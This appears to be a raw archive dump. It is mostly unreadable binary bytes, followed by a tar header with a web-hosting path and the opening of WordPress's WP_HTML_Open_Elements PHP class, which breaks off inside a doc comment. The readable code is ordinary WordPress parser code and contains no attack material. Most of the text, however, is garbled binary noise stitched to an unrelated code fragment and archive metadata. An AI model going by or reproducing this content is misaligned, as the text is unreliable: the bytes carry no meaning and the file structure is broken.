���j�0�����m�ܡQ�K7J��w��3I�[�6׹	�<g���N$M�o�6ӧ�'��`��Ζ8�y���9\΂��,ȺO���\����x��ŵM;G\��ΜlL�րג�-��h>#��a�#Đ�㷇�VhUI�X�6�S��FV��*4��gZ}2�/��m���k7�P��9��҃�7�߬�J�hU�#F_�0�3�Sm2Ѹ���b��ӻ������M<Z���±���B-�c.��Љ�j�ۡ��y���Uu!��q�m� �r�h������w� r�)���
��lz��.��0����>��� 9�N0��Y��B": �8�%�\\�6���.��1Sd��Ѳ��'F6�} ��ü��^�Z�a+n�J!ZE��3V�R�p�6�	�^\�\��e�H��pw�2f���#3�a���M�b�W��2��W3��`��J���O�]>P�.�����V��[+�l	K�"K��$uqΨ �fs�rdm���#��u�떀*���	,������m�C�J;$-o�\ڜ��lh�-{�V}�u�`A{�O�1*��ք�<\T`�|�k��*���D7�B�Ev����q́�v%�R(��߂�W͓�n�u�欳�&�꺿,��u��w��_�����=`''m,w�ꜝwO����`p+�K;z��q��<��nP�ґs&F�!�h+���H�e%�uĶ�/Zh
��om�H���A5d.�[�ƥ儚�Ex�t�>�vp�2����?�w4�F�<��j�J8�������8����\.�/��w���(p��������I�}�~��D��R(#n�7zr��F�����W^��a�>�|���n�w�����٩<�)B�6S��wg�^�|Ȳ�z�C>|Y6�t�������
#�zB\%�[�.ZT�g^7TΦ�'9�~�~�7��)�A�31�4�7w�^ݡ�\s[8�iЂ)���&
��*���Hw������XV���"߰q�6�%�ג�����K�;'��Y7�@d�r�xo}������K�P�?����%}��w���F0��%r��~��P�t�w�L-���)l۳�H.�ߑB�/�[��*�|,��(���
^7O�6"ڲ{:����(��X�6�QYےʚ���`���VA��T��DZU�� ���G}鎧��Ǘ���!.^D�
U����� RҏK����a@@�����9g݅�a�yمL)�x<��O�Z�A��Ӱwkl�:ݗ$�h��U��з�*ų��v��2��5��
�>�ývx8b�w�<LX����Xr�7�	/��d�U�M�dn��ǀOVc��+s�W�|7��Z���c��Q�<F���3�)�wfZ�+޻v��Y�]�np���e}?�߮�?��x^E[��>��xWއ�#��0McrYZh�M8̸4��*'�c�X�����v/�i�]�N���d�)(TO���n]��M%i���>_Mh�u�׬��M���*��Š��䎪��jo�PYI���'��s��&Q���;�D
i:�]�C�슾�^��?��l�z��I�&����=�;n���%�M7�����]zj@y�(�:�p�d-�(��,;��D�J�j_m-�=�\ߖUZ��;�>��l���-ٲݳrs3-f�V��"����<)���7޹.�n�OKAߕV]ʀz��J���y\����
FʬX� ~M)epOm���~k�5���d��j_���;C��`3dž��ҹ�Yh��h=�x�^Qu�
��(���6����E"0@6��(��8�s�C���ܟ�����=��Z{�rM��5OZ�w�K��W�X�P;g��;)�\߹]g�f�2{�rv:m�_����o�r�ѽ�~�BM>v�\��X��9��1F^�`�?���β�w����1��\[k>e�o�^�ّeK��}kV��r��`���܅��&�Q�d
UJ ���(˶���
2�]�e��c��H�����=I��)zd�ptX�5�n
N�5:.L@
���{���A]\��m�� �����Q���r�R��U �=��Н�7O]�?xqt�3�_���"�~��;烃V��|px��y�:uM4Ee�ؘŧ�}�iw�<z�nes��9b�V��N&�m��e�:��Mg9+{�ǟ�N�4�����*�}��R�"y����VΨ�Q>_�]\�w��p��R��?<}ǧ�R#��$qR�പ��N#P���Y��Qh�����(D�s�xs9��NT�Q�e�2DZ6_�l#H������ZfΧ�*zҚ�e(5}yjKK7UXs|R�t�Ū7dA�ɝ�/Q�[C��r@�k3m�{� I#W��޵�av&⼆����a��`}��5�$�B��~���mg��'?�b��@m��14r�a@"	��3���6��~+�T�`�
�VK�~BĬ'�A��g�BK��^N�+:|��.\%�8��;��$�΢O�{<��pՏ
�I�M�b�je�zfv��mxb����v�:*�p��K'x6_����hR$:����J��0ygu9I���חʨr�#̒в͚��$��t�nZ��)H��%Bn��7$r���c��7��4q�L����Io*��%K���r%q��<����[�87V��Pf��o#@T�ݬ�^)��rzZ�_��c��n�B)���qw�\`�!w]��m��R�� ����x���}������	q�⋥
��ߚ5��eD�5�>F�>j�\�L�aς�
+A�R|(��
\�J	�{�X�)�?�(9P9�Y<�e_W�<,�	i~���͖6?f�}��r�h�=#�ߵ�y�P)җO�����o���!�6���2J��K��\⽖�VJ��^HJ��ni�8W؇9E�-��?#���,���r�����w.��;�Q���,$x䞺:��q�[ �R��ZiD/O�YQ1S#8H�B^)�TAg���'e2D�V��7����WCp8����ƎT��%7�宬[\K���u�����|��6��0.���¡�ؠ��8�9��`�+�,��n-���Z����jlS���}T�>�k�ky��Qg�����uq�X��b����խ��	n�Qc?�d�M��=i�-i�-y����p�+��l�x��ء~�.BL�_�H�/'r��Cv�
�y��ߐ���k5�|4�T�f�/{�hs�Ȣ?���E����˾f߼ߘ����*�Ǵi
Qq�o"A>8�w�����]9��:��R�
����ʂtAb�MRF�@���^L��:>ߧ��]�� v���n����I��'���}^$o���\�(Lc2���	`�*���b����������@��H,���Qd�.#ũ}N��`�G=}u�����9M
+���_�z7g��q��=�#\'�,�i�c���j�D�d���W�Qq����W���G�~��7f�4cjPM��ڶ_�C�C���ٹM����yC
��a �0��z_�*��O"�TG*i���n:�i����e�u��]�ѻJ�Zz���$s��V�l/S���v6��5;Mu{��h8 ��f���&"��
%U�H��0)���7\&�Ar�WɎ�MOM���#[��a6d&<F$�F8�%���"'J%FI���ӤU�VI��R����<�<�'�s�E(~�e"X���e����߼�
��\��k�E#���'1A.N�#�Ȕ�`��q��_��ob�O�#�]%�}���~ܾw���|Ař�+�� ��4�K����
ܚ�.ۄD��S
�~���C}�T(�=q���%��G��+��k�7�T3���c�gx�ţ�����W8�)�WU��	c4�����&�Z���3Нכ�$U���F:����{�#-�f1%Xo�I�D�N�7g�JW<���}iW	���:���&�M����
8�Ӣ>rt���^�>wj�_���~����\ɫBI��n���a����hυ��Q�k��=�sN�r>o��^}�����?�r������|�W�B��_��s�vڇ�#�óY�r�����:>q7���{x�Bh�}��qӭv�99�M>j�sz�<�w��X���{��.������n�W��h�[�P-=�-y�l�
n���!\^)S�S�ٵ�
�WtY�%EWt!x���Z_D�D�?Y�!�'��{l��6���Ш��L��-Y1�oP��:���o�H�y��16\RG&Scy'��U!�Kj�X@�~��k�� ���s����K:���QtSH{��av�A���e�Q�"\�(�Z`ZQ_�,kF�����EP����ܕ� ǾT������λn�~J�E�v�u(yA�t�I&s5-�/u�+�����M+�!*���T4�Tg=�Fy.#C�it�&C
3��w�I�z��6�œ!�x�*G&�/�L�it~�+�p?���g܈~�zSiD(�����@@k��Qm	Ǔ.���5�QWΨK�PnQRF�,��[��'k�KX�0�?�N׵ÕQ5l�$�Mm�KL�&|-}s5�;� ���;7kӪˎU��U[u��|M�zYG�%�	B��ҚI2�6s��lM!��/�$�|s��V�CXl���MDz����n���&(M���wR^�P�r�&�3"z�)VB�pm�
�������jd�1m (����p��p�����y5�xW髕?^��n���y��qV�8gX}���\(�J��Ҿ?y�Q*������H�Ș����ԬHc�?��i7�Y��a�ц�ں��G'-z�|�2S��j���;{����;5c�\�쥠w����h>3���㜆�q|�JkB�K�R�X����J^	^���.�ك��kɑ��y�0RC}�1����%��pԥ*�+�����[	N�~�b��,�g��J���E�%�@�.��M�F���g-{�R���u3��W5r��K�D�|U��ď.����cU�k��[u}�s�YX'h*Hr�L}]��H2DL%��cҮG��n�-I�p�ѐt�i`��Rl�G��t�m;�-��m����[�0�6�)*�(IgA�*��mms#0�6��n��)/M4kRhQ Z��Z$̢}�������`���:�v�X�9��5rPV��SM��͛�F>NnE���7��dI2�&�=F���k�!�;IzajE�)o.G�Q�V[��]G��/ *o�J�`�"\[yD�6�!��ph��$4����DP0�D�}�]�_o>N"v�J���uPy`��'8��GŐ�\x�t�+ҡ
�(h���5t	��~e��!�lpª&�z�|r��$f$~�4�-�RĐ��T���{|�y.��+1A��Lu��8�L�1Z''G'��_w[���^���W .G�4O�;%̧����{GQT
�Ʃ�kV5wٯ�_Jf��m6��H�a:x/H�\��*_c+�	����z�k�{:K)�\�_��3���:8� m~
��av�ܮo�6�qN/�N��l0FQ�Y��+�#z�2��#TW^P 8��~h���
-]{b��)��	��V�yY�F�Ԍu�Os�0ә�z@]C�z���&m)� v�io�
;���NS�G����DfF��4�qOcC6���;��5^��q���T8n�:���K��Cx����`�g��b�0�a�pǞ��7�=���6v:���-�x�/Y"�,��1AD��Xg<R��~���'%�,@Ulc&X��|RJ�}4��+5IU��F;t�P�2]�s|�/3��\��F���o�1�i�K�ʺ�����o�I6E�K�YWR��QCY�9מf?3(�q����J�z��]NWp�Qf��*�Ug��ý�?}��H�eq����˖�߫��Y�r���Y�vq���e
�6r�ɐy�q���s�m�����a��~HM�#ˠ��icX�I���0�ĀM@�8j������$qߌ�I,�E4�$��q��
@
�ðA@�i��*a�[���2�]L
kE`x-|��L0�3��ƥ�0�{B@�O?��ȡ�`+��=�OC�z�{�>��R
�.M���I���фSKa)�|}ݏ�F<�Ӿ/Q��(��l>{�o���i@���i��.�3��B�‚\�)Q�2q�(�T��#�~�Y���Q_��.O*�Nb�J�}^��9��*��}+��&F%�*d
��a@�",[�]�h&��_�;: ��M8�F@�2�����?N��L�5W��S`�a�S����u�2�u���g����,��Y��X��3\�������6��Fp��(Md	�Yݦz�I%OQň�#� ��Im�E�q����I�B���lʷHj�j� !g�̴D1ᠢI1WU�3G&pe�fd���Q�}#�F,����� �d�&�̣����'S8B��LP��\y���03���3�sػ���g���1��ՐK?���˽b"8�s��,�T��W���mRڋD��\P�-�=�=�=#��-��7Pt_�V1rZ7�\���,a�
'��`ZS>4G-9���o�9�o�s؈{G�my���)E;�g��K����C�}��W��pop�}{���b>��A1pb-�`�����������ȩ^pDq�>�����}ѿB~�
t�8ٓ�4?pȯv%!@��3�G�4	A*��d�@*�&������V`��E�q��^n�x��E>��_�����892s�'����<3���?>�Ʉ�Ԛ��)|�>�Z��Uv
_�F8ϲķ��=j�U�/��hu-�u%�Z&Ұ4���,ӡ�
f	�
��	sn8z�l�s�f����,��lV����~ an�! b��6��/���,(�_��>�B1	҆���da��Z�[2U���a�I6�E4P�w��O�(�hU+�h�8T��᫒G������6}Tw�I�5��Ip�Mpw7�� �G@�%�!��*jm���U*
4GW�)��ݯ�q��XG�q7XKUhG:�s�gC{Z�&r,���=,�P�zI��3p�o���[_���^��`r�,bljs�v�hM�Ġ@ϧ�ӶTr&��z*��<�I�����!�'���Bͽ�:/���B�IE�����ݺ�	|ă��_�/ՏP��e�T��ixq�&�ѳ
~�?�77v�7�&�4w��Z=�Y�**S9A=�R�\y�@�d������b�)9y�DqΉ�Y�/:�I[��O�^��?�$�S�6b?��<ɋ��Y�}��i����.%�S��5)�e��s�X�7]�j
��T&�%\�>1W46P$�JR�y�����tt�O��%��-)M ��ٮ���DK����c�i���)�nS8��D[p��L;��t$�"wt.�ɗ��=L%:R��'R���	,mj��Z���ݹkQ�㠶u�u�w�11Jλ߸ӂ�e��_{8�]
0��/��l6y���f#ZX��+P�)d�2�YYO�_ֵ�+�~;N�Q
��1�2U��3�zɤ�ə� d�	��L�`8MAy�ސe+�n2�t�5�d$��8s_֮dƎ8B]��O��@�C� dg4$��H�5�v����D��!���B? �Ad�u��Ii�k���\�����ų�2(-A	�j�Pi��*��p?{&�F������A�ëhK|�ԧ_n�i/�y�*�;r���?p}�(-�%@���K��tU	z�v���g�8����̥<��@MM34����!r����+�����2�b
&.����"��ND�
����/ST�T�q��\��3��L���/�f[+,2��3�s�n�ǥ׹� K�U�,�!2w�\�3���� {��-S�=�T�,3���S�Am��t�jR��#�p��-i��gYDՔR���	�G����I>�`?ITP$����SB�d�������f�=�ŕ
h�Fg��&g%H����E.�X�%����Uic�����Ɓj�A���#)lL��se��ŢG,J�+���R�7�
�Ma��.���U������ {]]���
���>���Ri��ʭ�'��cB���`<9��A���4��
6෶�h���Y����`�Oa�;�L4�X�xP�YĢ�f�\a�7U�؏��s�&���mP�  N��i���2[��^��2� �L�P9T���Ԅ�kWy8!_;FaI���`ڗhbJ<:�`�sI�ؔ�Eb�D��)"\���:=)�<����ي]���5�W����.sQ]j�H&��S�t�L�Q�S8GHEI�\�OQ4ﲤV{��~��H�
�x5OZM�$d/a8b� �9��e<��M vJ]]���U�����;Y���K�l������b.�QQQ
�-��@X�`�av�I��‹�ƊاT~��mF��.�%Y��M��E=@5?�pS
~�O�a�y�i�a��#z��qqT��R�N\u%ը�r:CVi�ō�V�0�$�iO"]ԇ��O���>�L"+���[NJ��@����c1�'���ש��'i$a�6HDt~�x��d�(��̰��j:'��g�ij:sK�ǯ�%�C2b�5(P���߸��Lɂ������89��3v��;D��|~rv��[ww�贵ו�*ޠp����w��w��'ۇ��#{]������q�����y���Š�!;�sXT�va��r:H��5=�����)/
�@0�M��4�r���G�J%n��a"&2sd�?��$J=��	+wes���f�?���_��os��ƢLh"+'79�Jh�����_���n��:(�2��.е)Np�A=�9�:�sz���˕!&v9|�F��]-�	'PR�Z�L��}Jį�aKAd+kA��Ht.���Y<���.��qIU����Ƌ��*.���}���աUԁ&"ƣK,��>���E!�<���a0��q�\ӆb��D�᪁���!���Wc����tG��%*j$'�$�>�ra�c:+���8��h����p^jW��Zs���c&�W�=�H�/�	�+O�P��^wTT}�@�y1���Tgs��T)_d<�J���#V�YI
�Z�.�� �!��x滸T^�l��/�ZYɉ7]�±T-�`��4�}��4J*){W�@�>\W>��Y�c'�oHn��HZ����35'��4O��n	$f�
�E�-�
b�X2�]5)TR~ۡ�h��	�7�̅k�
� (b<�f���x��S�[#���2�Ŝ���:���c�6��\C�"%]��Ǿt�4�����=���g�J���Aa����"Қ�X�s�19Z�>c�	���(��Q���d��&��Yo��0x�Ǡw��y��o�v��?N�A�$eK�&�х��"��zב��w�vqc$(,4�
�3v��?	�c��x8�Rn��E�f�R>�q%�׶R��DJd/������*{�3W���:a*'���(��#�~�M���]F0�C��a�5�"�Qo�U��L��GO�چ��Q���W��
Ĝ��Vnba59M�@��I��Is���=��$�����|Xώ�ͮKc#X
N+���k� ��^���Co:��k�#�	�R��X�-���)k�=g&DU��f��S>u�t.���75��:L����AK�G�&�ZU�VBF����P3��D�-[f`��Zo!b�:���m0���'q}6Y�ܛ(U��Q�5xd��i|���=T��/b�'H��΋w�-EĊ�
�#m����4l�
����CRgə�fƠ��e<��aYZ7)�H�F��c8�L����c~h�In1��4�L��U�oD\	�J�8	�lr�&w��V1WQ
������sܷ�(�R�D���-ԙR�(ɘm�"�{�-��k��7��Q!H��[/��Ȯ���̩
Ȍy�=�������M"`��u��1)��1D	"eP�e��s.�
�"�=4DC�L�,��ȉ�4�@�D\�|�D����tz�bt��`L����T��~��g�(b��I�r�i�ayަ�q�6����s��]�UoG���X��_�W�p6Ө��ީ\�rL�J*d3�Ϫ����b�<q�M�]�U�����V(�I�4+�]�5��w��Ji"+5^��HEεu饢�L�/����W�����r�i��p�0x\�ɛHNT�����Ȯ��A(O�M���[M��Q�G1I��A����z���*���p�7UfG�
� 'ap�2�� c�R�1�A2rRI�M8�i1ڥ�
���c�:�Np �1��^M�I��>�>��/�.��)�^��K1�]{���2޷������[�)�<�����.��b��ǟk~�&�z
�[H�.7@�Iy���J�E즃�B�:޵/�wͻ99��[�L�S^QB���l�[���p�dZi���]Mn�茕�ЈB"�U��n��l	U��x� s�TW�oD"(Gߖ�/��	�x>�Ӟ�8
�5-��_F��AE[��0֐���U��<�BlU޲��:�@
��}9����.��_�ܬ������7�m>o=m'��/��*�����2}ۮ�����>]gB
Q�=6`Sr��Hj����?�pW�J�i�5��JF��q&Ώ"��t�����YA�FryIUh���*��/�'�*f���h��ͺ��I2�WR1n
)T,e��t��:�B<*��F����
^����MJ�{�un�Ȅx��]�ވ��8ם��_�N'@��	��M��������[���-z��r
�����(�{��F�����/�Ց' ;�-�:?-T�R��"�����?�Y~|S-��䁮ʹ�I�y_r�h)�E<�3j����
n)ƾH�4ǽ�^/i�!+R�E�8��@�ѩx/��=�<�;G������$��I$�l����	7~�zq	#N:A�O��U��-� ���(�8q{�тBN����<�V"�D
d�7�`�?�)p�E>��ţ�}��vI����y|���³��s�sΡqUרE䤚x'"�Cc�<k�dş[���y[1�h�i�E?��aK^�L+:3�M��/���h�ߞM<�Y�d3���%J[�6Ѓ��Z�(���A&)��D��Y��1��c,1KʑK�Z��c�DvcsMo�͢\�$�')�,��v�9���I|%�UdQEcl��h���-��s������:
��N�MΥ�	���Bu5I������ہ�x�v�i12�LDG���EV}sew�C��2����u�)"��Px�R��#�*���`D� �����}� iIJ����_�N��n�X䎣��&
pl��",�ɳ��)�-?:c"`x�/��:�����RU�٠b�t)0�&>�����7�
�X������> 3Z��C�ђ/��Px�De
��$(������;����Ł�'g���:�M�9n���02~�ˆ�C�' DJr����[�D�Z���4j������n�%S.}�(a�}ϟ�l��4��{�q��s*��u��;X?��������wηT��OO�}iD���E5E	�FO�^�T�ލj���
���N���{����#p�\#h_��=W��,��K>�n�uo��.[��݃V���^�[������&"���X���׾���c�99��tK�ň;w��D�Q%w�h�-�Ug&sl�^��]�|�XF�|b��-Dd�A�pexf�`����e������c)��\�!g��bezrp����u��Mb�H6��~Q�����z#S�.8(D?�s�h�Er?%)�6�
_�/Ov��Xw�����_��3v}u1�8�ja�������%�y�mq��­�t>��UӼ
Rg>�������q{����o�ZxC�o��X�.��N�{�٢dz����T��A|�R,����Ih�+����´K�Ǝ��9{5 �9�j�
R����k{�D���CM�̟�C�C}x�\��?��_v�7	w%]X�`���̪o_�4~Q�bI��l(��j��.�R��U�ث����(�˴mt��U��*�s_�5^�+��e�#�I	��Vi��(2⓲��Zs)9p?��?���0�:�,�O�H-U]��`��\�>�!�����r�Е��~��br�v���{z�7�^�Da������H=�y��F��E����_�%�þ-�
���R���.נ���R=KU8�ѻtB��Tk�b���y���:��MP�n��gL�I��+V0΂�6��?z±�س�����л5s�=�!�]]��p|���KO��;g]�F�ž��[g���z��1�}|�@�\0K�FX��EK�l6�b�.� �^}��;V�U��
zם���S�E���Q��}��W�–��G���x�.��C��Q'��-l�U�f�aMR�=�cu�pU�PEv��G�0[ذ/t�*�1��}g�.\bU�(��S��pA���iM��ś£��$�TɡR��@���i��|��Oz~O�O���0�I{neU��fZfd��+�v[Hש�]��StC���k��0I1��Q�*��(���S��H�����d�d���yq�ۡ6���n�>��S駕�Y	.�h����s�Gk���
���i7(V1k�3�$L��o$"=�!m�͢�2�����A#�K�:1W��ޜJ��@U4o�,̓ȡ�G��p�QN�f�^YB����0�'��=�?�҃\��.-�OnF�mT�-͝h����`&�%��zDC��,�슁����̂.=UQT�[�dg�Y�?n�$w��B0"ͮ�u�S�'��CISί�WJܳem|#~���:M�V�����)�Kys�ySA�ՁG(�$��T��L+t8�����d/�C%�L��������	��pG@d��ԆO�z:=�6�b$�U�ߊ-�n��3��_��	��D�S�K�s��s��2��$��|���c���MD�%���'MU�."��@5�>e5l�P�U�*��G׉��\��06P�Yt�_�|�����Ʃ��MT�h��69ߜ��ɩiuѭ�nПa��`��A���E��\�Q�w�tݸk*h[���5>tի����K�WM[���3p�7A=�
�qOߊ{�Ͱ�c��
���f�நp�s���"���C��������_0O�|r�t�ߔ���j�ir&l������d�n����܍|S�'f�����?랈��.PZ�!���D��TP6����PS`w�G�/��FC����ٓ��?_͸��۱���:��lD����&N�s��U�M�3In6L]���Ӊژ������O����52-9�r��e�d�{0�p(4ž�2dw�
��'d_���%��6��ōs�"���])�1k���b� �g���<�OW�d:^m��`:h�(�7�h���K�g���=7���`n�̋b�5_���³n-�,@+��ô)hcH��䤙�����di�𣙛�eqs��.ρK�*B��&�{�����u�-�cqˈ-�w�ø[W�=�Y�>��C����f���PP�țL<{��y�:m�gU�g�IA��N��Z����
j�s��)����T�WѹW�d_�M G�c�tNIV1��|4�s冹(�!�w����W���o�F��N�(���=���[/�NZ6u��K!�����h1�# ��6���E��x
{�$��='z{n��O	.D X�ʼn��<��������t1| �[5�O���\ꗘ���.���/�qC�U�*i<�1��r�4P��V1BU/����XpN�/p_<���Ϋ�z�(U\[]In���7�yN3F@��>�,��![���m��=��o
H��v&"�|pa�/��9+X>�Ϣ�K���l�$���#�郌�l�c%8�;����c��?�2�}�|v��[�)�ѓ+16����
�h�I]D�M��X���S�L4;�����@z��] ����i~��Q�+G?o��5k����_�َ�{���U�-���E*}ۿ.z���=��cvp�g��r%D�`�
�qD̍��Fo_p��
W�R�=�!q��d.���=WX'�6��
\�|侱����=W�%>3"b	� W$�Hb��S@u�7B��8�����;�j�0�'%D�r+gl�4D-n~ڃGg��r;��+�DU<��H�5��mn�;���v�P�3�Lɘ�ff��tuft���Pm��K���.�ޗ��������_]g*qS�
Ō�.�\�8�Ԓ��d�g;o�E��V�eߡ�IN���~R�u�9�jxC���QzT�]
��.�g3��b�/�
\461W�Y�+�����Q��i�E�e�+�p=L)���2%�$3l�#������!�{(�C�gE,⨗�n����ޫCYc���Q�.7�%x6��+�Z�,��
T���I�'R�\��_�W&V��M�/s��mPT2�0�0���j�U�7��f�ARE�d�c�p
n��rA9z��VL�KUDӛϧbVJt?�%7X-�X���V���lٌ������fk�J���S�;V5�)�>��a.`3��6�]�;:�z3���b�}�9;,����J"%9�#%
J�1�sM�ŒL邀,ǭ�́�h��� ��\/!�ް�uW�y9���.��D��Hr��J���+�g&!�T�����22=�d��w;]!��	'���Za��m5�E4B�p�⫑�m��)8�"���S��֖����(��<!j⡓���{n�<�:��e�V8G0�|�ja׫���H5x��kЯ5���Ql�� �]�+�c�(��nA���	��|W5JP�?�0���Qpٔ^�[�+"$�#�iZ��"I3�9��JTU!���0�����7��_9�j��T샃��9��\�C���R>�>F6za~[��DHj�U{��5�_�-��C+/�'�S�!��~T�+7��U���E�$��䙘KŁ��붱��5ͪ�����#Źl(+����X^��*�_�v�-j�
Жj�!��>��i-�eP�ԡ��㶊��ei������<����	!�kŌ��H�e�d���w� b�+Y��j��%�O�����uF1��/��8Tq�ey��J��0���Yց�G���&�K���D�̺�%E:\]�h��6u�,��vBS�jt��$x/�A��ʭ�,i�\��b3��F7��F~�fkyX)�f��0�@�9�H?\��/ə2Vn�o��T�'�~l�� ���i�R:X
�k�/�I�0���=L3m�x��1y����ЩS	�U4G�B�!�6��H>���Aȓ�Y�*��k����Ӱ�7|u^�2s�bn��2�8�V��N�Zecܷ��p���6�fs�nDT�JR�܏��N��r�ꞔ��ZsU�UsS����Q��e_��}�-�s���g��ƥ8<R��(|ȕsC����eI_7r	��e��U��:h!��#*9�84]�8�|u��X�/IEcU>�A$��P�4t�(�O���S�����(jg��)��صF�#�oy�N'�x���au�w�D[��8��:����O�s�+O��—	���s�Գ�뾞k��o����Z����z���d헇G�s�J�;��⥾��K��!��<<<�4�:��PE=|���q9����H9u�@uA�z�&,���K��ź,U��t�
�����c��zP��̮�~F|��gj���n���E���=���V��j��R�-2X��\5ro[�꘬�(�2���m�J
�= ���ak�C���Q��1�(��jJ̥]�"���L'��?�0z���ar�����U7��*-�ӥ��"������v@�Xip�U����y(t�T
�XGlT�Ӿt��#����څ̭�i&�����D�g��t���v�˧����ڪ`�<�%SPi'Σ�bQ|�&���|��o��37=�l���6��78~[���{{'��2I�y|��*!���I�Y�U��[ ����^�wϛ�U_�8:,���Gg�{e���~����N)t��/��싳N�L<T)Y%߶;�2��G���p���뽲��:�~�1��f���웲)�P��y�l~/ڭ���RT{�~Y����I��bj`�^�?(�
S��+��/ʾ���?�}�U�_�}�M���S�U���¹W�oar���v�ֶ^�}sx|V��ߵ���U��eZ�~��үN;�ò�4ۥza��/g�����J����f�=<<��W�G���_����J"��Ҩ2D9n�Tʾۇ������]���V�d�U闻E*P�|ytv�[:���JY����G��͒�*T���}�
_��S��9��仲]�T���+##���n�=+�Jy�_|��_����	�;�"�����2�[�Z�mٝ�o+�=���Vt��K^(�A�L_ϡ�s%�p��eN�A�
Vf�������w�hQX.BL����1�D��!]����KSP�4�a���_�Nz��~b���b��~�^XO�G�7�ыBv�p��J�H3� |�dsfk98�2g.���!��������"M��Sy���/3��p	��2�B@�+E�
ѥTZ�L���+$�
y��W/2p%��"�E��!./#���6+2�(��XET&&�~ԡ��R�V���U���[�}F��Y�E��<[��F뛚�à6�.����F�=�g�
�=r;�O�H�Οj���{t	��3�n�"�W<�4��t6�
���Ј�阃n~�I�g�B�!E��ߖ�X��ul�Æ^�~�[�s2�tJ���Z��Ctȏ�Q��W_���
iM�7�;P�PBl��1
j�4�v��<��2��M���
$����;W,�-� 0I�'n�	X�rJ�)�����n��+��pM���:e/q�*��e�:`�߳�_�}�цp�(1��W��A�0�g������+�nu>!��RP���
�T��gn
�`0 -'\�Um�Ud=Ж�x0�X׺��L��y��V�9�~:�Ѡ���.�v��/� �P���Dž/
 r���ط�6��9��y@���u����,M�p�����`��(��ö�⾼�r��T5��,�ڋ��������Mn���./w��g�놿	'��ra(�)8>9�m��vA����+@8���z�ʉ�-v:�I���%율�a�:�+9i��잝���r���+�ɬ��	�WS�8�e\g�Ϛq&�u,�
��vC�

`4�t�Ӎ�,�J�������������I���s�[b������#�Sk�Y
B�f�i�u���k�u��>?:��y��)�	;�`���0���c��坍(c�GN \�
;�ʺ:�L�R�o�FbQ����T�e4�V�޶�u���"\4"z�@Y�J�$���9���$Mc�Z�%bWf���֔�Lpj-��2�v@�,��3�u���&>ؑ�!9*#����M��u{I	��(~R���rp�:o��P_:g�{tx�99��
�G��+��,�6��ꪚ$�Tr������%�c	�y{�|�������ϲ?�?���HPKYO\��U�^^&10/class-wp-html-open-elements.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-open-elements.php000064400000053716151440301130023526 0ustar00<?php
/**
 * HTML API: WP_HTML_Open_Elements class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used by the HTML processor during HTML parsing
 * for managing the stack of open elements.
 *
 * This class is designed for internal use by the HTML processor.
 *
 * > Initially, the stack of open elements is empty. The stack grows
 * > downwards; the topmost node on the stack is the first one added
 * > to the stack, and the bottommost node of the stack is the most
 * > recently added node in the stack (notwithstanding when the stack
 * > is manipulated in a random access fashion as part of the handling
 * > for misnested tags).
 *
 * @since 6.4.0
 *
 * @access private
 *
 * @see https://html.spec.whatwg.org/#stack-of-open-elements
 * @see WP_HTML_Processor
 */
class WP_HTML_Open_Elements {
	/**
	 * Holds the stack of open element references.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Token[]
	 */
	public $stack = array();

	/**
	 * Whether a P element is in button scope currently.
	 *
	 * This class optimizes scope lookup by pre-calculating
	 * this value when elements are added and removed to the
	 * stack of open elements which might change its value.
	 * This avoids frequent iteration over the stack.
	 *
	 * @since 6.4.0
	 *
	 * @var bool
	 */
	private $has_p_in_button_scope = false;

	/**
	 * A function that will be called when an item is popped off the stack of open elements.
	 *
	 * The function will be called with the popped item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $pop_handler = null;

	/**
	 * A function that will be called when an item is pushed onto the stack of open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @var Closure|null
	 */
	private $push_handler = null;

	/**
	 * Sets a pop handler that will be called when an item is popped off the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_pop_handler( Closure $handler ): void {
		$this->pop_handler = $handler;
	}

	/**
	 * Sets a push handler that will be called when an item is pushed onto the stack of
	 * open elements.
	 *
	 * The function will be called with the pushed item as its argument.
	 *
	 * @since 6.6.0
	 *
	 * @param Closure $handler The handler function.
	 */
	public function set_push_handler( Closure $handler ): void {
		$this->push_handler = $handler;
	}

	/**
	 * Returns the name of the node at the nth position on the stack
	 * of open elements, or `null` if no such position exists.
	 *
	 * Note that this uses a 1-based index, which represents the
	 * "nth item" on the stack, counting from the top, where the
	 * top-most element is the 1st, the second is the 2nd, etc...
	 *
	 * @since 6.7.0
	 *
	 * @param int $nth Retrieve the nth item on the stack, with 1 being
	 *                 the top element, 2 being the second, etc...
	 * @return WP_HTML_Token|null Name of the node on the stack at the given location,
	 *                            or `null` if the location isn't on the stack.
	 */
	public function at( int $nth ): ?WP_HTML_Token {
		foreach ( $this->walk_down() as $item ) {
			if ( 0 === --$nth ) {
				return $item;
			}
		}

		return null;
	}

	/**
	 * Reports if a node of a given name is in the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string $node_name Name of node for which to check.
	 * @return bool Whether a node of the given name is in the stack of open elements.
	 */
	public function contains( string $node_name ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $node_name === $item->node_name ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Reports if a specific node is in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @param WP_HTML_Token $token Look for this node in the stack.
	 * @return bool Whether the referenced node is in the stack of open elements.
	 */
	public function contains_node( WP_HTML_Token $token ): bool {
		foreach ( $this->walk_up() as $item ) {
			if ( $token === $item ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Returns how many nodes are currently in the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @return int How many node are in the stack of open elements.
	 */
	public function count(): int {
		return count( $this->stack );
	}

	/**
	 * Returns the node at the end of the stack of open elements,
	 * if one exists. If the stack is empty, returns null.
	 *
	 * @since 6.4.0
	 *
	 * @return WP_HTML_Token|null Last node in the stack of open elements, if one exists, otherwise null.
	 */
	public function current_node(): ?WP_HTML_Token {
		$current_node = end( $this->stack );

		return $current_node ? $current_node : null;
	}

	/**
	 * Indicates if the current node is of a given type or name.
	 *
	 * It's possible to pass either a node type or a node name to this function.
	 * In the case there is no current element it will always return `false`.
	 *
	 * Example:
	 *
	 *     // Is the current node a text node?
	 *     $stack->current_node_is( '#text' );
